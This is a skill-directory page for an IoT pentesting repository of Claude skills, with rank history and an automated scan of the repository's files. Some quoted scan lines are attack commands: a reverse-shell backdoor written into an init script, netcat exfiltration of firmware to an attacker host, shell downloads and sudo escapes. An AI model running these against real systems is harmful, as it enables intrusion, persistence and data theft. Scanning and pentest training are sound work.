#989 by GitHub stars

BrownFineSecurity/iothackbot

IoT HackBot: A collection of Claude Skills and custom tooling for hybrid IoT pentesting

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/apktool/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/chipsec/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/ffind/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/iotnet/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/jadx/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/jtagprobe/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/logicmso/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/netflows/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/nmap/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/onvifscan/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/picocom/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/telnetshell/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

skills/wsdiscovery/SKILL.md

Week of Oct 26, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

d443c408a9fd → d443c408a9fd

Compare on GitHub

View on GitHubAdd to my skills

Verified commit d443c408a9fdd83f97d8c354b9c639afa2251974

git clone --filter=blob:none --no-checkout https://github.com/BrownFineSecurity/iothackbot.git .hotskills/brownfinesecurity-iothackbot && git -C .hotskills/brownfinesecurity-iothackbot checkout --detach d443c408a9fdd83f97d8c354b9c639afa2251974 # Copy each selected skill directory from .hotskills/brownfinesecurity-iothackbot into .claude/skills/<skill-name>/
880GitHub stars
3stars in 7 days
13skills in this repository
0commits in 30 days

Heat

2.3
  • Star growth, last 7 daysAhead of 59% of tracked repositories
  • Star growth, last 24 hoursAhead of 3% of tracked repositories
  • Rank movement, last 7 daysAhead of 4% of tracked repositories
  • Commits, last 30 daysAhead of 0% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Jul 30, 2026Nov 4, 2026880

Individual skills in this repository

How it works

apktool

When your agent uses it

Android APK unpacking and resource extraction tool for reverse engineering. Use when you need to decode APK files, extract resources, examine AndroidManifest.xml, analyze smali code, or repackage modified APKs.

What it loads into context

Frontmatter

48 tokens

Always available to the agent

SKILL.md

3,314 tokens

When the skill is activated

Reference documents

46,050 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Tool Overview
  2. Prerequisites
  3. Instructions
  4. Common Workflows
  5. Output Formats
  6. Integration with IoTHackBot Tools
  7. Best Practices
  8. Troubleshooting
  9. Important Notes
  10. Security and Ethics
  11. Success Criteria
  12. Quick Reference

Scripts executed separately

  • ../logicmso/analyze_protocol.py
  • ../picocom/serial_helper.py
  • ../telnetshell/telnet_helper.py

Files

  • ../../.claude-plugin/marketplace.jsonasset437 bytes
  • ../../.claude-plugin/plugin.jsonasset592 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • SKILL.mdcore13,096 bytes
  • ../chipsec/SKILL.mddoc16,131 bytes
  • ../ffind/SKILL.mddoc2,918 bytes
  • ../iotnet/SKILL.mddoc4,013 bytes
  • ../jadx/SKILL.mddoc17,863 bytes
  • ../jtagprobe/SKILL.mddoc5,750 bytes
  • ../logicmso/SKILL.mddoc8,475 bytes
  • ../logicmso/analyze_protocol.pyruns11,623 bytes
  • ../logicmso/examples.mddoc6,432 bytes
  • ../netflows/SKILL.mddoc4,116 bytes
  • ../nmap/SKILL.mddoc15,260 bytes
  • ../onvifscan/SKILL.mddoc2,431 bytes
  • ../picocom/OBSERVING_SESSIONS.mddoc9,102 bytes
  • ../picocom/SKILL.mddoc27,237 bytes
  • ../picocom/examples.mddoc11,325 bytes
  • ../picocom/serial_helper.pyruns32,372 bytes
  • ../telnetshell/OBSERVING_SESSIONS.mddoc7,804 bytes
  • ../telnetshell/SKILL.mddoc16,093 bytes
  • ../telnetshell/enum_files.txtdoc693 bytes
  • ../telnetshell/enum_network.txtdoc543 bytes
  • ../telnetshell/enum_security.txtdoc1,017 bytes
  • ../telnetshell/enum_system.txtdoc563 bytes
  • ../telnetshell/examples.mddoc13,029 bytes
  • ../telnetshell/telnet_helper.pyruns15,874 bytes
  • ../wsdiscovery/SKILL.mddoc2,511 bytes
Read SKILL.md

# Apktool - Android APK Unpacking and Resource Extraction

You are helping the user reverse engineer Android APK files using apktool for security analysis, vulnerability discovery, and understanding app internals.

## Tool Overview

Apktool is a tool for reverse engineering Android APK files. It can decode resources to nearly original form and rebuild them after modifications. It's essential for:
- Extracting readable AndroidManifest.xml
- Decoding resources (XML layouts, strings, images)
- Disassembling DEX to smali code
- Analyzing app structure and permissions
- Repackaging modified APKs

## Prerequisites
View the complete source on GitHub

Skills included

  • apktool
  • chipsec
  • ffind
  • iotnet
  • jadx
  • jtagprobe
  • logicmso
  • netflows
  • nmap
  • onvifscan
  • picocom
  • telnetshell
  • wsdiscovery

Repository facts

License
MIT
Created
Nov 17, 2025
Last pushed
Jun 1, 2026
Forks
142
Open issues
3
Project activity
Slowing

Rank over the last 12 weeks

Now #989 · best #636 · down 244 in 30 days

  1. #971 on Nov 1
  2. #977 on Nov 2
  3. #982 on Nov 3
  4. #985 on Nov 4
  5. #987 on Nov 5
  6. #989 since Nov 6
44 earlier periods
  1. #703 on Aug 1
  2. #619 on Aug 7
  3. #615 on Aug 8
  4. #650 on Aug 10
  5. #656 on Aug 12
  6. #674 on Aug 18
  7. #664 on Aug 21
  8. #636 on Aug 22
  9. #706 on Aug 28
  10. #691 on Aug 31
  11. #700 on Sep 1
  12. #691 on Sep 2
  13. #696 on Sep 3
  14. #674 on Sep 4
  15. #665 on Sep 5
  16. #683 on Sep 6
  17. #698 on Sep 7
  18. #723 on Sep 8
  19. #718 on Sep 10
  20. #701 on Sep 12
  21. #716 on Sep 15
  22. #725 on Sep 16
  23. #731 on Sep 17
  24. #687 on Sep 19
  25. #724 on Sep 21
  26. #737 on Sep 23
  27. #692 on Sep 26
  28. #756 on Sep 30
  29. #709 on Oct 3
  30. #745 on Oct 5
  31. #809 on Oct 8
  32. #783 on Oct 12
  33. #792 on Oct 13
  34. #804 on Oct 14
  35. #793 on Oct 15
  36. #778 on Oct 17
  37. #830 on Oct 21
  38. #810 on Oct 22
  39. #776 on Oct 24
  40. #950 on Oct 25
  41. #962 on Oct 28
  42. #963 on Oct 29
  43. #966 on Oct 30
  44. #970 on Oct 31

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 4, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 304 notes
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/apktool/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 219 signals by file

.claude-plugin/plugin.json

  • Network accessline 6
    "name": "BrownFineSecurity"   },   "homepage": "https://github.com/BrownFineSecurity/iothackbot",
  • Network accessline 7
    },   "homepage": "https://github.com/BrownFineSecurity/iothackbot",   "repository": "https://github.com/BrownFineSecurity/iothackbot",
  • Network accessline 8
    "homepage": "https://github.com/BrownFineSecurity/iothackbot",
  • Network accessline 9
    "repository": "https://github.com/BrownFineSecurity/iothackbot",

bin/ffind

  • Executable scriptline 1
    #!/usr/bin/python

skills/apktool/SKILL.md

  • Access to secretsline 233
    [Credential-related source omitted]
  • Network accessline 322
    1. **APK → Network Analysis**:    - Extract API endpoints from resources    - Use extracted URLs with curl/wget for testing
  • Network accessline 323
    - Extract API endpoints from resources    - Use extracted URLs with curl/wget for testing    - Feed endpoints to network testing tools
  • Network accessline 324
    - Use extracted URLs with curl/wget for testing

skills/chipsec/SKILL.md

  • Dangerous shell operationline 29
    sudo mkdir -p "$CHIPSEC_DIR/logs"
  • Dangerous shell operationline 29
    sudo mkdir -p "$CHIPSEC_DIR/logs"
  • Dangerous shell operationline 30
    sudo chmod 777 "$CHIPSEC_DIR/logs"
  • Dangerous shell operationline 30
    sudo chmod 777 "$CHIPSEC_DIR/logs"
  • Dangerous shell operationline 385
    sudo mkdir -p "$CHIPSEC_DIR/logs"
  • Dangerous shell operationline 385
    sudo mkdir -p "$CHIPSEC_DIR/logs"
  • Dangerous shell operationline 386
    sudo chmod 777 "$CHIPSEC_DIR/logs"
  • Dangerous shell operationline 386
    sudo chmod 777 "$CHIPSEC_DIR/logs"
  • Possible obfuscationline 444
    binwalk -R "\x06\x00\x00\x00" firmware.bin
  • Possible obfuscationline 444
    binwalk -R "\x06\x00\x00\x00" firmware.bin

skills/ffind/SKILL.md

  • Dangerous shell operationline 39
    - Requires sudo privileges for extraction
  • Dangerous shell operationline 39
    - Requires sudo privileges for extraction
  • Dangerous shell operationline 51
    sudo ffind /path/to/firmware.bin -e
  • Dangerous shell operationline 51
    sudo ffind /path/to/firmware.bin -e
  • Dangerous shell operationline 61
    sudo ffind /path/to/firmware.bin -e -d /tmp/my-extraction
  • Dangerous shell operationline 61
    sudo ffind /path/to/firmware.bin -e -d /tmp/my-extraction
  • Dangerous shell operationline 67
    - Extraction requires root/sudo privileges
  • Dangerous shell operationline 67
    - Extraction requires root/sudo privileges

skills/iotnet/SKILL.md

  • Dangerous shell operationline 48
    sudo iotnet -i eth0 -d 30
  • Dangerous shell operationline 48
    sudo iotnet -i eth0 -d 30
  • Dangerous shell operationline 82
    sudo iotnet -i wlan0 -d 60
  • Dangerous shell operationline 82
    sudo iotnet -i wlan0 -d 60
  • Dangerous shell operationline 92
    sudo iotnet -i eth0 -c "port 1883 or port 5683" -d 45
  • Dangerous shell operationline 92
    sudo iotnet -i eth0 -c "port 1883 or port 5683" -d 45
  • Dangerous shell operationline 138
    - Live capture requires root/sudo privileges
  • Dangerous shell operationline 138
    - Live capture requires root/sudo privileges

skills/jadx/SKILL.md

  • Access to secretsline 160
    [Credential-related source omitted]
  • Access to secretsline 160
    [Credential-related source omitted]
  • Access to secretsline 310
    [Credential-related source omitted]
  • Access to secretsline 310
    [Credential-related source omitted]
  • Access to secretsline 311
    [Credential-related source omitted]
  • Access to secretsline 311
    [Credential-related source omitted]

skills/logicmso/analyze_protocol.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3

skills/nmap/SKILL.md

  • Dangerous shell operationline 31
    sudo nmap -p- <target> -oA <output-dir>/nmap-portscan
  • Dangerous shell operationline 31
    sudo nmap -p- <target> -oA <output-dir>/nmap-portscan
  • Dangerous shell operationline 41
    sudo nmap -p- -Pn <target> -oA <output-dir>/nmap-portscan
  • Dangerous shell operationline 41
    sudo nmap -p- -Pn <target> -oA <output-dir>/nmap-portscan
  • Dangerous shell operationline 88
    sudo nmap -p- <target> -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 88
    sudo nmap -p- <target> -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 95
    sudo nmap -p- -Pn <target> -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 95
    sudo nmap -p- -Pn <target> -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 144
    sudo nmap -sS -sV -sC <target> -oA <output-prefix>
  • Dangerous shell operationline 144
    sudo nmap -sS -sV -sC <target> -oA <output-prefix>
  • Dangerous shell operationline 153
    sudo nmap -sU --top-ports 100 <target> -oA <output-prefix>
  • Dangerous shell operationline 153
    sudo nmap -sU --top-ports 100 <target> -oA <output-prefix>
  • Dangerous shell operationline 182
    sudo nmap -O <target> -oA <output-prefix>
  • Dangerous shell operationline 182
    sudo nmap -O <target> -oA <output-prefix>
  • Dangerous shell operationline 250
    - Phase 1 Port Discovery (sudo nmap -p-): 180-300 seconds timeout (3-5 minutes)
  • Dangerous shell operationline 250
    - Phase 1 Port Discovery (sudo nmap -p-): 180-300 seconds timeout (3-5 minutes)
  • Dangerous shell operationline 450
    sudo nmap <options> <target>
  • Dangerous shell operationline 450
    sudo nmap <options> <target>
  • Dangerous shell operationline 462
    sudo nmap -p- $TARGET -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 462
    sudo nmap -p- $TARGET -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 466
    sudo nmap -p- -Pn $TARGET -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 466
    sudo nmap -p- -Pn $TARGET -oA "$OUTPUT_DIR/nmap-portscan"
  • Dangerous shell operationline 498
    sudo nmap -sU --top-ports 100 <target> -oA "$OUTPUT_DIR/nmap-udp"
  • Dangerous shell operationline 498
    sudo nmap -sU --top-ports 100 <target> -oA "$OUTPUT_DIR/nmap-udp"
  • Dangerous shell operationline 501
    sudo nmap -O <target> -oA "$OUTPUT_DIR/nmap-os"
  • Dangerous shell operationline 501
    sudo nmap -O <target> -oA "$OUTPUT_DIR/nmap-os"

skills/onvifscan/SKILL.md

  • Network accessline 38
    onvifscan auth http://192.168.1.100
  • Network accessline 38
    onvifscan auth http://192.168.1.100
  • Network accessline 49
    onvifscan brute http://192.168.1.100
  • Network accessline 49
    onvifscan brute http://192.168.1.100
  • Network accessline 66
    onvifscan auth http://192.168.1.100:8080 -v
  • Network accessline 66
    onvifscan auth http://192.168.1.100:8080 -v
  • Network accessline 76
    - URLs can omit `http://` - it will be added automatically
  • Network accessline 76
    - URLs can omit `http://` - it will be added automatically

skills/picocom/OBSERVING_SESSIONS.md

  • Dangerous shell operationline 81
    sudo socat -d -d \
  • Dangerous shell operationline 81
    sudo socat -d -d \
  • Dangerous shell operationline 90
    sudo socat /dev/ttyUSB0,raw,echo=0,b115200 /tmp/vserial0
  • Dangerous shell operationline 90
    sudo socat /dev/ttyUSB0,raw,echo=0,b115200 /tmp/vserial0
  • Dangerous shell operationline 117
    ❌ Requires root/sudo for some operations
  • Dangerous shell operationline 117
    ❌ Requires root/sudo for some operations
  • Dangerous shell operationline 289
    sudo usermod -a -G dialout $USER
  • Dangerous shell operationline 289
    sudo usermod -a -G dialout $USER
  • Dangerous shell operationline 301
    sudo fuser -k /dev/ttyUSB0
  • Dangerous shell operationline 301
    sudo fuser -k /dev/ttyUSB0

skills/picocom/SKILL.md

  • Dangerous shell operationline 13
    - Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial`)
  • Dangerous shell operationline 13
    - Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial`)
  • Network accessline 128
    python3 .claude/skills/picocom/serial_helper.py    --device /dev/ttyUSB0    --monitor    --duration 60    --trigger-script "curl http://192.168.1.100/api/reboot"
  • Network accessline 128
    python3 .claude/skills/picocom/serial_helper.py    --device /dev/ttyUSB0    --monitor    --duration 60    --trigger-script "curl http://192.168.1.100/api/reboot"
  • Network accessline 130
    --monitor \   --duration 60 \   --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 130
    --monitor \   --duration 60 \   --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 131
    --duration 60 \   --trigger-script "curl http://192.168.1.100/api/reboot" \   --trigger-delay 15 \
  • Network accessline 131
    --duration 60 \   --trigger-script "curl http://192.168.1.100/api/reboot" \   --trigger-delay 15 \
  • Network accessline 132
    --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 132
    --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 362
    python3 .claude/skills/picocom/serial_helper.py    --device /dev/ttyUSB0    --monitor    --duration 30    --trigger-script "curl -X POST http://192.168.1.100/api/update"
  • Network accessline 362
    python3 .claude/skills/picocom/serial_helper.py    --device /dev/ttyUSB0    --monitor    --duration 30    --trigger-script "curl -X POST http://192.168.1.100/api/update"
  • Network accessline 364
    --monitor \   --duration 30 \   --trigger-script "curl -X POST http://192.168.1.100/api/update" \
  • Network accessline 364
    --monitor \   --duration 30 \   --trigger-script "curl -X POST http://192.168.1.100/api/update" \
  • Network accessline 365
    --duration 30 \   --trigger-script "curl -X POST http://192.168.1.100/api/update" \   --trigger-delay 5 \
  • Network accessline 365
    --duration 30 \   --trigger-script "curl -X POST http://192.168.1.100/api/update" \   --trigger-delay 5 \
  • Network accessline 366
    --trigger-script "curl -X POST http://192.168.1.100/api/update" \
  • Network accessline 366
    --trigger-script "curl -X POST http://192.168.1.100/api/update" \
  • Network accessline 391
    python3 .claude/skills/picocom/serial_helper.py    --device /dev/ttyUSB0    --monitor    --duration 120    --trigger-script "curl http://192.168.1.100/api/reboot"
  • Network accessline 391
    python3 .claude/skills/picocom/serial_helper.py    --device /dev/ttyUSB0    --monitor    --duration 120    --trigger-script "curl http://192.168.1.100/api/reboot"
  • Network accessline 393
    --monitor \   --duration 120 \   --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 393
    --monitor \   --duration 120 \   --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 394
    --duration 120 \   --trigger-script "curl http://192.168.1.100/api/reboot" \   --trigger-delay 5 \
  • Network accessline 394
    --duration 120 \   --trigger-script "curl http://192.168.1.100/api/reboot" \   --trigger-delay 5 \
  • Network accessline 395
    --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 395
    --trigger-script "curl http://192.168.1.100/api/reboot" \
  • Network accessline 531
    # Network utilities often available nc -l -p 4444  # Netcat listener
  • Network accessline 531
    # Network utilities often available nc -l -p 4444  # Netcat listener
  • Network accessline 532
    nc -l -p 4444  # Netcat listener
  • Network accessline 532
    nc -l -p 4444  # Netcat listener
  • Network accessline 533
    wget http://attacker.com/shell.sh
  • Network accessline 533
    wget http://attacker.com/shell.sh
  • Network accessline 541
    **Reference Documentation:** - [BusyBox Official Site](https://busybox.net/)
  • Network accessline 541
    **Reference Documentation:** - [BusyBox Official Site](https://busybox.net/)
  • Network accessline 542
    - [BusyBox Official Site](https://busybox.net/)
  • Network accessline 542
    - [BusyBox Official Site](https://busybox.net/)
  • Network accessline 543
    - [BusyBox Command List](https://busybox.net/downloads/BusyBox.html)
  • Network accessline 543
    - [BusyBox Command List](https://busybox.net/downloads/BusyBox.html)
  • Network accessline 544
    - [BusyBox Source Code](https://git.busybox.net/busybox/)
  • Network accessline 544
    - [BusyBox Source Code](https://git.busybox.net/busybox/)
  • Dangerous shell operationline 629
    sudo -l
  • Dangerous shell operationline 629
    sudo -l
  • Network accessline 774
    # Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin
  • Network accessline 774
    # Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin
  • Network accessline 776
    nc attacker_ip 4444 < /tmp/rootfs.bin
  • Network accessline 776
    nc attacker_ip 4444 < /tmp/rootfs.bin
  • Dangerous shell operationline 870
    - Solution: Close other programs using the serial port, check user permissions (`sudo usermod -a -G dialout $USER`)
  • Dangerous shell operationline 870
    - Solution: Close other programs using the serial port, check user permissions (`sudo usermod -a -G dialout $USER`)
  • Network accessline 897
    - [picocom documentation](https://github.com/npat-efault/picocom)
  • Network accessline 897
    - [picocom documentation](https://github.com/npat-efault/picocom)
  • Network accessline 898
    - [U-Boot documentation](https://u-boot.readthedocs.io/)
  • Network accessline 898
    - [U-Boot documentation](https://u-boot.readthedocs.io/)

skills/picocom/examples.md

  • Dangerous shell operationline 174
    **Check sudo permissions**:
  • Dangerous shell operationline 174
    **Check sudo permissions**:
  • Dangerous shell operationline 176
    sudo -l
  • Dangerous shell operationline 176
    sudo -l
  • Dangerous shell operationline 179
    # Example: sudo vim -> :!/bin/sh
  • Dangerous shell operationline 179
    # Example: sudo vim -> :!/bin/sh
  • Dangerous shell operationline 180
    # Example: sudo find -> sudo find . -exec /bin/sh \;
  • Dangerous shell operationline 180
    # Example: sudo find -> sudo find . -exec /bin/sh \;
  • Network accessline 227
    # Transfer via netcat nc 192.168.1.100 4444 < /tmp/rootfs.bin
  • Network accessline 227
    # Transfer via netcat nc 192.168.1.100 4444 < /tmp/rootfs.bin
  • Network accessline 228
    nc 192.168.1.100 4444 < /tmp/rootfs.bin
  • Network accessline 228
    nc 192.168.1.100 4444 < /tmp/rootfs.bin
  • Network accessline 229
    # (On attacker machine: nc -l -p 4444 > rootfs.bin)
  • Network accessline 229
    # (On attacker machine: nc -l -p 4444 > rootfs.bin)
  • Network accessline 293
    echo 'while true; do' >> /etc/init.d/S99backdoor echo '  sleep 300' >> /etc/init.d/S99backdoor echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
  • Network accessline 293
    echo 'while true; do' >> /etc/init.d/S99backdoor echo '  sleep 300' >> /etc/init.d/S99backdoor echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
  • Network accessline 294
    echo '  sleep 300' >> /etc/init.d/S99backdoor echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor echo 'done &' >> /etc/init.d/S99backdoor
  • Network accessline 294
    echo '  sleep 300' >> /etc/init.d/S99backdoor echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor echo 'done &' >> /etc/init.d/S99backdoor
  • Dangerous shell operationline 295
    echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
  • Dangerous shell operationline 295
    echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
  • Network accessline 295
    echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
  • Network accessline 295
    echo '  /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
  • Access to secretsline 406
    [Credential-related source omitted]
  • Access to secretsline 406
    [Credential-related source omitted]

skills/picocom/serial_helper.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3

skills/telnetshell/SKILL.md

  • Dangerous shell operationline 12
    - Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`)
  • Dangerous shell operationline 12
    - Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`)
  • Dangerous shell operationline 13
    - telnet client installed on the system (`sudo pacman -S inetutils` on Arch)
  • Dangerous shell operationline 13
    - telnet client installed on the system (`sudo pacman -S inetutils` on Arch)
  • Network accessline 67
    # Create a file with commands (one per line) echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
  • Network accessline 67
    # Create a file with commands (one per line) echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
  • Network accessline 68
    echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
  • Network accessline 68
    echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
  • Network accessline 242
    # Network utilities often available nc -l -p 4444  # Netcat listener
  • Network accessline 242
    # Network utilities often available nc -l -p 4444  # Netcat listener
  • Network accessline 243
    nc -l -p 4444  # Netcat listener
  • Network accessline 243
    nc -l -p 4444  # Netcat listener
  • Network accessline 244
    wget http://attacker.com/shell.sh
  • Network accessline 244
    wget http://attacker.com/shell.sh
  • Dangerous shell operationline 300
    sudo -l
  • Dangerous shell operationline 300
    sudo -l
  • Network accessline 399
    # Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin
  • Network accessline 399
    # Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin
  • Network accessline 401
    nc attacker_ip 4444 < /tmp/rootfs.bin
  • Network accessline 401
    nc attacker_ip 4444 < /tmp/rootfs.bin
  • Network accessline 404
    cd /tmp busybox httpd -p 8000 # Then download from http://device_ip:8000/rootfs.bin
  • Network accessline 404
    cd /tmp busybox httpd -p 8000 # Then download from http://device_ip:8000/rootfs.bin
  • Network accessline 406
    # Then download from http://device_ip:8000/rootfs.bin
  • Network accessline 406
    # Then download from http://device_ip:8000/rootfs.bin
  • Network accessline 537
    - [BusyBox Official Site](https://busybox.net/)
  • Network accessline 537
    - [BusyBox Official Site](https://busybox.net/)
  • Network accessline 538
    - [BusyBox Command List](https://busybox.net/downloads/BusyBox.html)
  • Network accessline 538
    - [BusyBox Command List](https://busybox.net/downloads/BusyBox.html)

skills/telnetshell/enum_security.txt

  • Dangerous shell operationline 52
    # Sudo configuration
  • Dangerous shell operationline 52
    # Sudo configuration
  • Dangerous shell operationline 53
    sudo -l
  • Dangerous shell operationline 53
    sudo -l

skills/telnetshell/examples.md

  • Network accessline 223
    # On attacker machine: Set up listener nc -lvp 4444 > firmware.bin
  • Network accessline 223
    # On attacker machine: Set up listener nc -lvp 4444 > firmware.bin
  • Network accessline 224
    nc -lvp 4444 > firmware.bin
  • Network accessline 224
    nc -lvp 4444 > firmware.bin
  • Network accessline 227
    python3 .claude/skills/telnetshell/telnet_helper.py    --host 192.168.1.100    --port 2222    --timeout 30    --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
  • Network accessline 227
    python3 .claude/skills/telnetshell/telnet_helper.py    --host 192.168.1.100    --port 2222    --timeout 30    --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
  • Network accessline 229
    --port 2222 \   --timeout 30 \   --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
  • Network accessline 229
    --port 2222 \   --timeout 30 \   --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
  • Network accessline 231
    --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
  • Network accessline 231
    --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
  • Network accessline 243
    # Then download from your machine: # wget http://192.168.1.100:8000/mtd2ro
  • Network accessline 243
